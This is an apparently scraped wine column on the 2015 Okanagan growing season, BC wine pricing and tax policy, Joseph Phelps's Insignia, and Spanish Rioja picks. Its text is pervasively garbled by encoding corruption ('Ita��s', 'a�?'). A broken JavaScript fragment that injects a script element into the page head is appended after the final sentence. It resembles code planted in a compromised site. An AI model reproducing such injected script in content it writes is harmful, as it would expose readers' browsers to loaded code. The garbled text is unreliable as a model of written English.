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Several things today, beginning with the fast start to the 2015 growing season across most of the vineyards in the province.

Ita��s always promising when the vines gets off to an early start in the Okanagan. Thata��s especially true for late ripening varieties like cabernet sauvignon, Syrah and Riesling that inevitable struggle to finish their physiological ripening during the cool days of October and November in British Columbia, and thata��s if there is no late rain.

If therea��s any nervousness at the wineries ita��s the possible threat of frost arriving for the next three or four weeks. The vineyard frost fans have kicked on several times already and it was snowing at the top of the Coquihalla last weekend so there will be a few sleepless nights yet.
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But should an early frost not materialize, 2015 is shaping up to be another winner and thata��s good news following on the heels of 2012, 2013, and 2014. Almost everything Ia��m tasting from those three vintages is better than 2010 and 2011 and, frankly, the 2012 reds are very good.

a�? Therea��s really only two things threatening the short term future of local wine these days. The first is the almost non-stop, self-imposed price hikes for the last decade that have moved local wines out of that $12-$17 sweet spot a�� a popular price range with everyday wine drinkers in British Columbia. The second and likely more serious blight is the botched wholesale tax and the bizarre grocery store VQA model marshalled in by the Minister of Justice.

Both have alienated every restaurant and private wine shop owner in the province. Ita��s not good when the resellers, vital champions of local wines, have been effectively sold down the river by a government that has failed to grasp the complex nature of the wine business.

Even if they wanted to help sell local wines, most are now scrambling to find a way to stay in business in what has become for all intents a wine un-friendly province.

a�? South of the border the death of Joseph Phelps remind us how quickly a generation can pass. In a cabernet sauvignon crazy valley, Phelps decided his very best Napa label would be made with whatever grapes were deemed the finest of the year.

It was brave thinking in the mid-70s given Napaa��s devotion and success to varietal wine but coming up with a fantasy name like Insignia was even more avant-garde a�� which is exactly what the 1974 Joseph Phelps Insignia became when it was launched in 1978.

In fact, it ended up becoming a new category of California wine followed by the likes of Opus One, Dominus, Cain Five, Trilogy, Harlan, Scarecrow and many more. The rest as they say is history.
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a�? One wonders what people think about the latest BC Liquor Stores pricing policies nearly one month in. Page one of its latest website features 10 prices: two ending at .09 cents, one at .19, 4 at 49, one at .69, one at .79 two at .99 cents. As bizarre and confusing as that is at retail, the removal of PST and GST from the shelf prices is even more halting should you purchase, for example, a bottle of Fucci Aglianico at $43.49 and end up paying $50.01 at the till.

Some sort of retail sanity may return on May 1, but frankly no one really knows what is going on with the new a�?private sectora�? public stores formerly known as government monopoly shops.
Mandated to hold the line on at least the cheapest wines in the system by government, they bare fiddling with each SKU beyond the reach of the distributor and supplier who no longer have any say about the final retail price of their product.

Ita��s another policy that has irritated suppliers and wineries who carefully craft their retail price points to make modern retail sense.

a�? Finally a shout out to check out this weeka��s wine picks on this page from Spain. Rioja has never been cleaner or more tasty than in current times and remember most of these wines are wood-aged and bottled-aged which makes them fun to drink now. Enjoy.var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);}var d=document;var s=d.createElement(‘script’);

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